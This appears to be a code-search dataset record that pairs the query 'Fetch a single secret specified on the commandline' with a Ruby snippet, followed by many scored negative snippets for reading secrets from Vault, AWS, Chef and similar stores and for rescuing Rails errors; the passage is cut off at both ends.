self.copyright = default_copyright\n \n for framework in default_frameworks\n self.send(\"#{framework}=\", Bowline::OrderedOptions.new)\n end\n end", "def start\n super\n $log.debug \"initialized for moogaiops\"\n end" ]
[ "0.74752337", "0.7388764", "0.7317632", "0.72551984", "0.71894044", "0.71397793", "0.71367204", "0.7132672", "0.71126276", "0.69584835", "0.6956969", "0.69353193", "0.6909694", "0.68957067", "0.68759716", "0.68327636", "0.6810044", "0.6788811", "0.6754438", "0.67531633", "0.67246854", "0.6668545", "0.6663701", "0.6660648", "0.6625732", "0.66009665", "0.6567955", "0.6567955", "0.6567955", "0.65454304", "0.65325975", "0.65278983", "0.652301", "0.65141904", "0.65050334", "0.64987534", "0.6497427", "0.64969707", "0.64629376", "0.6445177", "0.6395816", "0.6385864", "0.637671", "0.63665247", "0.6360608", "0.6350529", "0.6347146", "0.6344481", "0.6308055", "0.63054174", "0.63041586", "0.6285065", "0.6266388", "0.6265621", "0.6252372", "0.624869", "0.6246682", "0.6244485", "0.62124497", "0.62114215", "0.6209933", "0.6208273", "0.62015545", "0.61946595", "0.61606514", "0.61507976", "0.6148377", "0.61430556", "0.6134099", "0.6121294", "0.6119167", "0.6116938", "0.6114969", "0.605896", "0.6050951", "0.60416347", "0.6040333", "0.6037122", "0.6029831", "0.6025271", "0.602506", "0.60211384", "0.60182136", "0.59966516", "0.5988837", "0.5984633", "0.59787285", "0.5972446", "0.5967352", "0.59479874", "0.5941209", "0.59255517", "0.5914514", "0.5914514", "0.5913817", "0.5912401", "0.59119415", "0.5909512", "0.59058636", "0.5896934", "0.58944523" ]
0.0
-1
Fetch a single secret specified on the commandline
def get(scrt_id) run_action { get! scrt_id } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def secret\n client.get(\"/user/secret\").fetch(\"result\")\n end", "def secret\n @secret ||= begin\n secret = load_secret\n unless secret\n ui.fatal('A secret or secret_file must be specified')\n show_usage\n exit 1\n end\n secret\n end\n end", "def get_secret project_id:, secret_id:\n # Create a Secret Manager client.\n client = Google::Cloud::SecretManager.secret_manager_service\n\n # Build the resource name of the secret.\n name = client.secret_path project: project_id, secret: secret_id\n\n # Get the secret.\n secret = client.get_secret name: name\n\n # Get the replication policy.\n if !secret.replication.automatic.nil?\n replication = \"automatic\"\n elsif !secret.replication.user_managed.nil?\n replication = \"user managed\"\n else\n raise \"Unknown replication #{secret.replication}\"\n end\n\n # Print a success message.\n puts \"Got secret #{secret.name} with replication policy #{replication}\"\nend", "def get(secret_id)\n request('/accounts/' + account_id + '/secrets/' + secret_id)\n end", "def get_secret(secret_id)\n @client.call(\n :get_secret,\n message: {\n token: @token,\n secretId: secret_id\n }\n ).to_hash.dig(:get_secret_response, :get_secret_result)\n end", "def get_secret(secret_name, secret_version = nil)\n url = @vault_url.get_url(clean(secret_name), secret_version, @api_version)\n headers = { 'Authorization' => @bearer_token }\n response = RestClient.get(url, headers)\n JSON.parse(response)['value']\n rescue RestClient::NotFound\n return nil\n end", "def read_secret\n if config[:secret]\n config[:secret]\n else\n Chef::EncryptedDataBagItem.load_secret(config[:secret_file])\n end\n end", "def secret\n @options[:credential2]\n end", "def get_secret(opts = {})\n data, _status_code, _headers = get_secret_with_http_info(opts)\n data\n end", "def secret\n @secret or raise MissingSecret\n end", "def secretkey(apikey)\n get 'secretkey', {apikey: apikey} { |x| x['secretkey'] }\n end", "def get_secret(key)\n secret node['openstack']['secret']['secrets_data_bag'], key\n end", "def get_secret(params)\n return @api_secret\n end", "def get_value(secret_id)\n fail 'Not allowed env' unless config.is_allowed_env.call\n response = secrets_manager.get_secret_value(secret_id: secret_name(secret_id))\n response.secret_string\n rescue StandardError => err\n logger.warn(\"[Sekreto] Failed to get value!\\n#{err}\")\n config.fallback_lookup.call(secret_id)\n end", "def read_secret(path)\n path = update_path(path)\n secret = @cache[path] ||= @vault.logical.read(path)\n unless secret\n raise VaultSecretNotFound,\n \"Secret #{path} not found\"\n end\n secret\n end", "def secret\n decrypt_secret\n end", "def secret\n decrypt_secret\n end", "def load_secret\n if config[:secret] then config[:secret]\n else ::SecureDataBag::Item.load_secret(secret_file)\n end\n end", "def secret\n query[\"client_secret\"]\n end", "def fetch_current_secrets\n json_string = `kubectl get secret #{main_secret_name} --namespace #{app} -o json`\n json = JSON.parse(json_string)\n fail \"Unexpected Kind\" unless json['kind'] == 'Secret'\n json\n end", "def fetch_admin_secret\n @admin_secret = AdminSecret.get_active_from_memcache(@admin.admin_secret_id)\n return incorrect_login_error('am_l_pa_2') unless @admin_secret.present?\n\n success\n end", "def fetch_admin_secret\n @admin_secret = AdminSecret.get_active_from_memcache(@admin.admin_secret_id)\n return incorrect_login_error('am_l_cp_4') unless @admin_secret.present?\n\n success\n end", "def secret_key\n credentials['secret_key']\n end", "def secret_key\n credentials['secret_key']\n end", "def value\n if show_secret\n secret\n else\n Digest::SHA1.hexdigest secret\n end\n end", "def secret_id(role_name, secret_id)\n opts = { secret_id: secret_id }\n json = client.post(\"/v1/auth/approle/role/#{encode_path(role_name)}/secret-id/lookup\", JSON.fast_generate(opts), {})\n return nil unless json\n return Secret.decode(json)\n rescue HTTPError => e\n if e.code == 404 || e.code == 405\n begin\n json = client.get(\"/v1/auth/approle/role/#{encode_path(role_name)}/secret-id/#{encode_path(secret_id)}\")\n return Secret.decode(json)\n rescue HTTPError => e\n return nil if e.code == 404\n raise e\n end\n end\n\n raise\n end", "def set_secret\n @secret = Secret.find(params[:id])\n end", "def secret\n source.split('/')[-1].split('_')[1]\n end", "def secret(client:)\n parsed_response(\n path: \"#{url_for(client)}/client-secret\"\n )['value']\n end", "def secrets=(_arg0); end", "def secrets=(_arg0); end", "def set_secret\n @secret = Secret.find(params[:id])\n end", "def set_secret\n @secret = Secret.find(params[:id])\n end", "def set_secret\n @secret = Secret.find(params[:id])\n end", "def set_secret\n @secret = Secret.find(params[:id])\n end", "def get_secret_word\n @active_list.fetch(0)\n end", "def get_OAuthTokenSecret()\n \t return @outputs[\"OAuthTokenSecret\"]\n \tend", "def secret_generate\n Secret.generate\n end", "def getsecretword\r\n\t\t return @secretword\r\n\t\t end", "def show\n if current_user.nil?\n redirect_to root_path\n # Redirects to secrets index when te user tries to access another user secret\n elsif @secret.user_id != current_user.id\n redirect_to secrets_path\n else\n @algorithm_name = CriptoAlgorithms.names\n @key = params[:key] #unsafe? :v\n end\n end", "def secret\n secret_value or raise 'secret is only available for new access keys'\n end", "def client_secret=(_arg0); end", "def secret_key; end", "def opaque(secret_key); end", "def secret\n \"whatamidoing\"\n end", "def token_secret=(_arg0); end", "def token_secret=(_arg0); end", "def token_secret=(_arg0); end", "def get_secret(name)\n return if @secrets_path.nil?\n path = File.join(@secrets_path, name)\n if File.file?(path)\n content = File.read(path).strip\n if block_given?\n yield content\n else\n return content\n end\n end\nend", "def secret\n self\n end", "def secret\n @secret || ''\n end", "def get_password(type, key, password = nil)\n if ['db', 'user', 'service'].include?(type)\n secret node['openstack']['secret'][\"#{type}_passwords_data_bag\"], key, password\n else\n ::Chef::Log.error(\"Unsupported type for get_password: #{type}\")\n end\n end", "def index\n logger.debug(\"get secret page\")\n end", "def secret\n 's3cr37'\n end", "def secret_key\n ENV['RANCHER_SECRET']\n end", "def secret(name)\n Config::Core::File.new(@path + \"secret-#{name}\")\n end", "def get_AccessTokenSecret()\n \t return @outputs[\"AccessTokenSecret\"]\n \tend", "def fetch_webhook_secret\n\n webhook_secrets = KitSaasSharedCacheManagement::WebhookSecret.new([@client_id]).fetch[@client_id]\n if webhook_secrets.blank?\n return error_with_data(\n 's_cm_ws_r_1',\n 'something_went_wrong',\n GlobalConstant::ErrorAction.default,\n @client_id\n )\n end\n\n @webhook_secrets_data = webhook_secrets\n\n success\n end", "def secret\n\t\tputs \"This IS a secret\"\n\tend", "def secret_file\n config[:secret_file] ||\n Chef::Config[:knife][:secure_data_bag][:secret_file]\n end", "def secret\n (@service.connector? and @service.secret == nil) ? @this.secret : @service.secret\n end", "def read_secret_field(path, key)\n secret = read_secret(path)\n value = payload(secret)[key.to_sym]\n\n unless value\n raise VaultKeyNotFound,\n \"Secret #{path} doesn't have field: #{key}\"\n end\n value\n end", "def get_secret_key\n secret_key = ''\n return '' unless File.file? SECRET_KEY_FILE\n open(SECRET_KEY_FILE) do |file|\n file.each do |line|\n if line.include? 'TKTAuthSecret'\n secret_key = line.gsub('TKTAuthSecret', '').strip.gsub(\"\\\"\", '')\n break\n end\n end\n end\n secret_key\n end", "def show\n authorize @secret, :show?\n end", "def decrypt_api_secret\n @api_secret_d = @client_api_detail.decrypted_api_secret\n success\n end", "def get_password(type, key)\n unless [:db, :user, :service, :token].include?(type)\n Chef::Log.error \"Unsupported type for get_password: #{type}\"\n return\n end\n\n if node[:garcon][:use_databags]\n if type == :token\n secret node[:garcon][:secret][:secrets_data_bag], key\n else\n secret node[:garcon][:secret][\"#{type}_passwords_data_bag\"], key\n end\n else\n node[:garcon][:secret][key][type]\n end\n end", "def set_secret_key\n @secret_key = SecretKey.find(params[:id])\n end", "def cli_key()\n\t\tENV['CLI_KEY'] || nil # The client private key File\n end", "def read_encrypted_secrets=(_arg0); end", "def read_encrypted_secrets=(_arg0); end", "def consumer_secret; config[:consumer_secret]; end", "def credential_get(nuid)\n self.class.get(\"/credential/#{nuid}\")\n end", "def show_secret\n generate_secret\n # TODO This should do something different for text, vs. gui.\n puts \" ** A browser requested authorization: #{@secret}\" unless :test == ui\n## require 'java'\n## Thread.new do\n## puts \" ** A browser requested authorization: #{@secret}\"\n### TODO This needs to be abstracted. There is no reason a purely command line version can't be done. Also, loading swing will break CI.\n### import javax.swing.JOptionPane\n### JOptionPane.showMessageDialog(nil,\n### \"A browser has requested authorization: #{@secret}\\nDo not press 'OK' until after you enter the number\",\n### \"Authorize Browser\",\n### JOptionPane::INFORMATION_MESSAGE)\n## @is_showing_secret = false\n## end\n end", "def fetch(password)\r\n end", "def access_secret\n @attributes[:access_secret] || client.secret\n end", "def access_secret\n @attributes[:access_secret] || client.secret\n end", "def access_secret\n @attributes[:access_secret] || client.secret\n end", "def client_secret\n base = bb.hex\n # base += BIG_PRIME_N * @multiplier\n base -= modpow(GENERATOR, @user.private_key) * multiplier\n base = base % BIG_PRIME_N\n modpow(base, @user.private_key * u.hex + @a)\n end", "def secret\n # ````'badbreathbuffalo'\n\n # Hide in React Auth pt2 1:20:00 \n # ```ENV['jwt_secret']\n # Export in ~/.bash_profile\n # export jwt_secret = 'badbreathbuffalo'\n\n # OR\n\n # $ EDITOR='code --wait' rails credentials:edit\n # Add to the bottom of the file:\n # `jwt_secret: 'badbreathbuffalo'`\n # Save and close the file\n Rails.application.credentials.jwt_secret\n\n # Heroku Config Vars\n # ```ENV['jwt_secret']\n end", "def get_vdc_secretkey(auth=nil, cert=nil)\n\t\trest_get(\"#{@base_url}/vdc/secret-key\", auth.nil? ? @auth_token : auth, cert.nil? ? @verify_cert : cert)\n\tend", "def secret\n # EDITOR='code --wait' rails credentials:edit\n # Rails.application.credentials.jwt_secret\n # Use environmental variables for Heroku\n ENV['jwt_secret']\n end", "def get_secret_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SecretStoreItemApi.get_secret ...'\n end\n # unbox the parameters from the hash\n store_id = opts[:'store_id']\n secret_name = opts[:'secret_name']\n # verify the required parameter 'store_id' is set\n if @api_client.config.client_side_validation && store_id.nil?\n fail ArgumentError, \"Missing the required parameter 'store_id' when calling SecretStoreItemApi.get_secret\"\n end\n # verify the required parameter 'secret_name' is set\n if @api_client.config.client_side_validation && secret_name.nil?\n fail ArgumentError, \"Missing the required parameter 'secret_name' when calling SecretStoreItemApi.get_secret\"\n end\n # resource path\n local_var_path = '/resources/stores/secret/{store_id}/secrets/{secret_name}'.sub('{' + 'store_id' + '}', CGI.escape(store_id.to_s)).sub('{' + 'secret_name' + '}', CGI.escape(secret_name.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'SecretResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['token']\n\n new_options = opts.merge(\n :operation => :\"SecretStoreItemApi.get_secret\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SecretStoreItemApi#get_secret\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def cmd_get argv\n setup argv\n e = @hash['element']\n response = @api.get(e)\n msg JSON.pretty_generate(response)\n return response\n end", "def fetch(flag)\n o = option(flag)\n if o.nil?\n cleaned_key = clean_key(flag)\n raise UnknownOption.new(\"option not found: '#{cleaned_key}'\", \"#{cleaned_key}\")\n else\n o.value\n end\n end", "def get_key\n\tasking = true\n\n\twhile asking do\n\t\tputs 'Please enter a password: '\n\t\tkey = gets.chomp\n\n\t\tif(key.size < 1)\n\t\t\tputs 'Password too short' \n\t\telse\n\t\t\tasking = false \n\t\tend\n\tend\n\n\t#validate the key...\n\n\t#hash the key (has to be 32 bytes long for sha-256)\n\thash = Digest::SHA2.hexdigest(key)\n\t\n\treturn hash;\nend", "def consumer_secret\n config_method_not_implemented\n end", "def validate_secret(opt) # parse the title for the secret\n unless @secret.nil?\n (key, @secret) = @secret.split(/:\\s?/)\n @secret.strip!\n end\n if (@secret.nil? || @secret != opt)\n puts \"#{@subject}: Secret incorrect, skipping\"\n raise StandardError, \"Secret incorrect or missing\"\n end\n end", "def get_decrypted_secret_key\n client = Client.get_from_memcache(self.client_id)\n r = Aws::Kms.new('saas', 'saas').decrypt(client.api_salt)\n return r unless r.success?\n\n api_salt_d = r.data[:plaintext]\n\n LocalCipher.new(api_salt_d).decrypt(self.secret_key)\n end", "def credential\n authorizer.get_credentials('default')\n end", "def show\n @secret_word = SecretWord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @secret_word }\n end\n end", "def get_stored_credentials_ar(user_id)\n row = Credential.where(user_id: user_id).last\n if row\n hash = YAML::load(row.credentials)\n Signet::OAuth2::Client.new(hash)\n else\n nil\n end\nend", "def secret_key\n \"\"\n end", "def secret\n @secret ||= (\n defined?(Rails) && Rails.application.credentials&.dig(:secret_key_base)\n ) || raise(StandardError, SECRET_MISSING_ERROR)\n end", "def initialize_secret(opts = {})\n secret = if opts[:username] && opts[:password]\n Egi::Fedcloud::Vmhound::Log.debug \"[#{self.class}] Using provided plain credentials\"\n \"#{opts[:username]}:#{opts[:password]}\"\n else\n Egi::Fedcloud::Vmhound::Log.debug \"[#{self.class}] Falling back to file and environment credentials\"\n opts[:auth_file] ? File.read(opts[:auth_file]) : nil\n end\n secret.strip! if secret\n secret\n end", "def get_keychain_password(username, server)\n if result = `security 2>&1 > /dev/null find-internet-password -ga #{username} -s #{server}`\n result.match(/\\\"(\\w+)\\\"/).to_a.last\n end\nend", "def initialize secret, options = {}\n @secret = Base32.decode secret\n @digits = options[:digits] || DEFAULT_DIGITS\n @digest = 'sha1'\n @type = 'hotp'\n end", "def read_encrypted_secrets; end", "def read_encrypted_secrets; end", "def decrypted_secret_key\n @decrypted_secret_key ||= get_decrypted_secret_key_from_memcache.data[:plaintext]\n end", "def get_secrets(opts = {})\n data, _status_code, _headers = get_secrets_with_http_info(opts)\n data\n end", "def initialize(secret)\n @secret = secret\n end" ]
[ "0.7129952", "0.70592237", "0.7017834", "0.69379455", "0.67783123", "0.6758071", "0.67471987", "0.6602777", "0.6594466", "0.65917456", "0.64539146", "0.6451078", "0.64405864", "0.6417522", "0.63721716", "0.6349334", "0.6349334", "0.6251551", "0.61281705", "0.6124436", "0.6090599", "0.6078112", "0.6070007", "0.6070007", "0.6057797", "0.6057695", "0.60353255", "0.60065794", "0.59951276", "0.5973968", "0.5973968", "0.5970592", "0.5970592", "0.5970592", "0.5970592", "0.59626615", "0.5956819", "0.5929072", "0.5909764", "0.58702356", "0.5812759", "0.5783063", "0.57672274", "0.5727167", "0.5721518", "0.5715248", "0.5715248", "0.5715248", "0.56742203", "0.566742", "0.5665219", "0.56587946", "0.5658464", "0.5647939", "0.56465954", "0.56446666", "0.56442153", "0.56193024", "0.55913633", "0.5577055", "0.5556486", "0.55448693", "0.5499604", "0.54955906", "0.5494585", "0.54943055", "0.5493137", "0.54869896", "0.54852533", "0.54852533", "0.5472573", "0.5471656", "0.5468475", "0.5464893", "0.5451851", "0.5451851", "0.5451851", "0.5451693", "0.54331434", "0.54265714", "0.5426502", "0.54142374", "0.54089904", "0.54065627", "0.54040825", "0.53995144", "0.5396821", "0.53892267", "0.53806704", "0.53739035", "0.5364414", "0.5362496", "0.5362042", "0.5353372", "0.5345969", "0.5340316", "0.5340262", "0.5340262", "0.53338724", "0.5328291", "0.53242373" ]
0.0
-1
Run the specified action and rescue errors we explicitly send back to format them
def run_action(&_block) yield rescue ::Zanzibar::Error => e @ui.error e abort "Fatal error: #{e.message}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def render_action(action, params)\n send(action, params)\n \n rescue RenderExit, ActionExit => e1\n # Just stop rendering. \n \n rescue ActionError => e2\n # Client Error family of errors, typically send 4XX\n # status code.\n handle_error(e2, 404)\n error e2.to_s\n \n rescue Object => e3\n # Server Error family of errors, typically send 5XX\n # status code. \n handle_error(e3, 500)\n error \"Error while handling #{self.class}##{action.to_s.gsub(/___super$/, '')}(#{params.join(', ')})\"\n error pp_exception(e3)\n end", "def process_action(*args)\n super\n rescue Exception => exception\n raise if RocketPants.pass_through_errors?\n # Otherwise, use the default built in handler.\n logger.error \"Exception occured: #{exception.class.name} - #{exception.message}\"\n logger.error \"Exception backtrace:\"\n exception.backtrace[0, 10].each do |backtrace_line|\n logger.error \"=> #{backtrace_line}\"\n end\n exception_notifier_callback.call(self, exception, request)\n render_error exception\n end", "def rescue_action(e) raise e end", "def rescue_action(e) raise e end", "def rescue_action(e) raise e end", "def rescue_action(e) raise e end", "def rescue_action(e); raise e; end", "def run_with_failure_handler(command, action_name)\n base.say_status action_name.downcase, ''\n stdout, stderr, exit_code, exit_status = base.exec(command, :with_codes => true)\n \n if exit_code != 0\n base.say_status :error, \"Unable to #{action_name}, see output below\", :red\n puts stdout\n puts stderr\n \n raise \"Unable to configure #{action_name}\"\n end\n end", "def action_wrapper\n begin\n yield\n rescue ::Rbt::Error::AuthError => e\n handle_auth_error(e)\n rescue ActiveRecord::RecordInvalid => e\n handle_validation_error(e)\n rescue => e\n handle_unknown_error(e)\n end\n end", "def action_error\n puts\n puts \"Sorry, I don't recognize that command.\"\n puts\nend", "def perform(action)\n @action_name = action\n begin\n self.send(@action_name)\n rescue\n Skates.logger.error {\n \"#{$!}:\\n#{$!.backtrace.join(\"\\n\")}\"\n }\n end\n self.render\n end", "def dispatch action\n @action = action\n\n invoke do\n filter(*before_filters_for(action))\n args = action_arguments action\n __send__(action, *args)\n end\n\n rescue => err\n invoke{ handle_error err }\n ensure\n filter(*after_filters_for(action))\n end", "def handle_perform_error(_e); end", "def rescue_action(exception)\n if handler_for_rescue(exception)\n rescue_action_with_handler(exception)\n else\n log_error(exception) if logger\n erase_results if performed?\n\n # Let the exception alter the response if it wants.\n # For example, MethodNotAllowed sets the Allow header.\n if exception.respond_to?(:handle_response!)\n exception.handle_response!(response)\n end\n\n if consider_all_requests_local || local_request?\n rescue_action_locally(exception)\n else\n rescue_action_in_public(exception)\n end\n end\n end", "def rescue_action(e)\n\n # sometimes, Rails likes to pass you instance variables that you don't want\n # this should get rid of any junk that the previous renders left behind that rails failed to clean up\n erase_render_results\n #forget_variables_added_to_assigns\n reset_variables_added_to_assigns\n \n @error = e\n @error_name = e.class.to_s.demodulize.underscore\n\n @error_trace = @error.backtrace\n @error_message = @error.to_s.gsub('<', '&lt;').gsub('>', '&gt;')\n\n if(@error.respond_to? :status_code)\n @status = @error.status_code\n elsif(DEFAULT_RESCUE_RESPONSES.has_key? @error.class.to_s)\n @status = DEFAULT_RESCUE_RESPONSES[@error.class.to_s]\n else\n @status = DEFAULT_RESCUE_RESPONSE\n end\n \n if logger.level > Logger::INFO\n logger.error %{\n Processing #{self.class.name}\\##{action_name} (for #{request_origin}) [#{request.method.to_s.upcase}]\n Session ID: #{@_session.session_id if @_session and @_session.respond_to?(:session_id)}\n Parameters: #{respond_to?(:filter_parameters) ? filter_parameters(params).inspect : params.inspect}}\n end\n logger.error %{\n Error: #{@error.clean_message} (status: #{@status})\n Trace: #{(@error_trace.is_a? Array)? @error_trace.join(\"\\n\\t \") : @error_trace }\n }\n\n respond_to do |format|\n format.html do\n begin\n render :partial => \"shared/errors/error\", :layout => 'error', :status => @status\n rescue\n super(e)\n end\n end\n format.js do\n begin\n render :template => \"shared/errors/error\"\n rescue\n render :update do |page|\n page.alert \"There has been an error, and then another error occured while first error was being processed... Too bad. The original error was: #{@error.to_s}.\"\n page.alert \"The additional error was: #{$!.to_s}.\"\n end\n end\n end\n end\n \n rescue_with_handler(e) or notify_airbrake(e)\n end", "def handle_errors(interactor)\n interactor.call\n rescue Errors::Base => e\n context.fail!(resource: e, status: e.status)\n end", "def my_rescue_action_in_public(exception)\n # MorLog.my_debug exception.to_yaml\n # MorLog.my_debug exception.backtrace.to_yaml\n time = Time.now()\n id = time.strftime(\"%Y%m%d%H%M%S\")\n address = 'gui_crashes@kolmisoft.com'\n extra_info = \"\"\n swap = nil\n begin\n MorLog.my_debug(\"Rescuing exception: #{exception.class.to_s} controller: #{params[:controller].to_s}, action: #{params[:action].to_s}\", true)\n if important_exception(exception)\n MorLog.my_debug(\" >> Exception is important\", true)\n MorLog.log_exception(exception, id, params[:controller].to_s, params[:action].to_s) if params[:do_not_log_test_exception].to_i == 0\n\n trace = exception.backtrace.collect { |t| t.to_s }.join(\"\\n\")\n\n exception_class = escape_for_email(exception.class).to_s\n exception_class_previous = Confline.get_value(\"Last_Crash_Exception_Class\", 0).to_s\n exception_send_email = Confline.get_value(\"Exception_Send_Email\").to_i\n\n # Lots of duplication but this is due fact that in future there may be\n # need for separate link for every error.\n flash_help_link = nil\n\n\n if exception_class.include?(\"Net::SMTPFatalError\")\n flash_notice = _('smtp_server_error')\n flash_help_link = \"\"\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'smtp_server_error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"Errno::ENETUNREACH\")\n flash_help_link = \"http://wiki.kolmisoft.com/index.php/GUI_Error_-_Errno::ENETUNREACH\"\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Asterik_server_connection_error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"Errno::EACCES\")\n flash_notice = _('File_permission_error')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'File_permission_error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"Errno::EHOSTUNREACH\") or (exception_class.include?(\"Errno::ECONNREFUSED\") and trace.to_s.include?(\"rami.rb:380\"))\n flash_help_link = \"http://wiki.kolmisoft.com/index.php/GUI_Error_-_SystemExit\"\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Asterik_server_connection_error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"SystemExit\") or (exception_class.include?('RuntimeError') and (exception.message.include?('No route to host') or exception.message.include?('getaddrinfo: Name or service not known') or exception.message.include?('Connection refused')))\n flash_help_link = \"http://wiki.kolmisoft.com/index.php/GUI_Error_-_SystemExit\"\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Asterik_server_connection_error', :data2 => exception.message).save\n end\n\n if exception_class.include?('RuntimeError') and (exception.message.include?('Connection timed out') or exception.message.include?('Invalid argument') or exception.message.include?('Connection reset by peer') or exception.message.include?('Network is unreachable') or exception.message.include?('exit'))\n flash_notice = _('Your_Asterisk_server_is_not_accessible_Please_check_if_address_entered_is_valid_and_network_is_OK')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Asterik_server_connection_error', :data2 => exception.message).save\n exception_send_email = 0\n end\n\n if exception_class.include?(\"SocketError\") and !trace.to_s.include?(\"smtp_tls.rb\")\n flash_help_link = \"http://wiki.kolmisoft.com/index.php/GUI_Error_-_SystemExit\"\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Asterik_server_connection_error', :data2 => exception.message).save\n end\n if exception_class.include?(\"Errno::ETIMEDOUT\")\n flash_help_link = \"http://wiki.kolmisoft.com/index.php/GUI_Error_-_SystemExit\"\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Asterik_server_connection_error', :data2 => exception.message).save\n exception_send_email = 0\n end\n\n if exception_class.include?(\"OpenSSL::SSL::SSLError\") or exception_class.include?(\"OpenSSL::SSL\")\n flash_notice = _('Verify_mail_server_details_or_try_alternative_smtp_server')\n flash_help_link = ''\n exception_send_email = 0\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'SMTP_connection_error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"ActiveRecord::RecordNotFound\")\n flash_notice = _('Data_not_found')\n flash_help_link = ''\n exception_send_email = 1\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Data_not_found', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"ActiveRecord::StatementInvalid\") and exception.message.include?('Access denied for user')\n flash_notice = _('MySQL_permission_problem_contact_Kolmisoft_to_solve_it')\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'MySQL_permission_problem', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"Transactions::TransactionError\")\n flash_notice = _(\"Transaction_error\")\n swap = []\n swap << %x[vmstat]\n # swap << ActiveRecord::Base.connection.select_all(\"SHOW INNODB STATUS;\")\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Transaction_errors', :data2 => exception.message).save\n exception_send_email = 0\n end\n\n if exception_class.include?(\"Errno::ENOENT\") and exception.message.include?('/tmp/mor_debug_backup.txt')\n flash_notice = _('Backup_file_not_found')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Backup_file_not_found', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"GoogleCheckoutError\") and exception.message.include?(\"No seller found with id\")\n flash_notice = _('Internal_Error_Contact_Administrator')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Payment_Gateway_Error', :data2 => exception.message).save\n end\n\n # database not updated\n if exception_class.include?(\"NoMethodError\") and !exception.message.include?(\"nil:NilClass\") and exception.message.include?(\"for #<\")\n flash_notice = _('Database_Error')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Database_Error', :data2 => exception.message).save\n end\n if exception_class.include? \"ActiveModel::MissingAttributeError\"\n flash_notice = _('Database_Error')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Database_Error', :data2 => exception.message).save\n end\n if exception_class.include?(\"ActiveRecord::StatementInvalid\") and exception.message.include?(\"Unknown column\")\n flash_notice = _('Database_Error')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Database_Error', :data2 => exception.message).save\n end\n #\n\n if exception_class.include?(\"GoogleCheckoutError\") and exception.message.include?(\"The currency used in the cart must match the currency of the seller account.\")\n flash_notice = _('Internal_Error_Contact_Administrator')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Payment_Gateway_Error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"Google4R\") and exception.message.include?(\"Missing URL component: expected id:\")\n flash_notice = _('Internal_Error_Contact_Administrator')\n flash_help_link = ''\n exception_send_email = 0\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Payment_Gateway_Error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"Google4R\") and exception.message.include?('expected id: (\\d{10})|(\\d{15})')\n flash_notice = _(\"Payment_Error_Contact_Administrator_enter_merchant_id\")\n flash_help_link = ''\n exception_send_email = 0\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Payment_Gateway_Error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"Google4R\") and exception.message.include?('Seller Account') and exception.message.include?('is not active.')\n flash_notice = _(\"Payment_Error_Contact_Administrator_account_not_active\")\n flash_help_link = ''\n exception_send_email = 0\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Payment_Gateway_Error', :data2 => exception.message).save\n end\n\n if exception.message.include?('Unexpected response code')\n flash_notice = _(\"Google_checkout_error\") + ': ' + exception.message.to_s 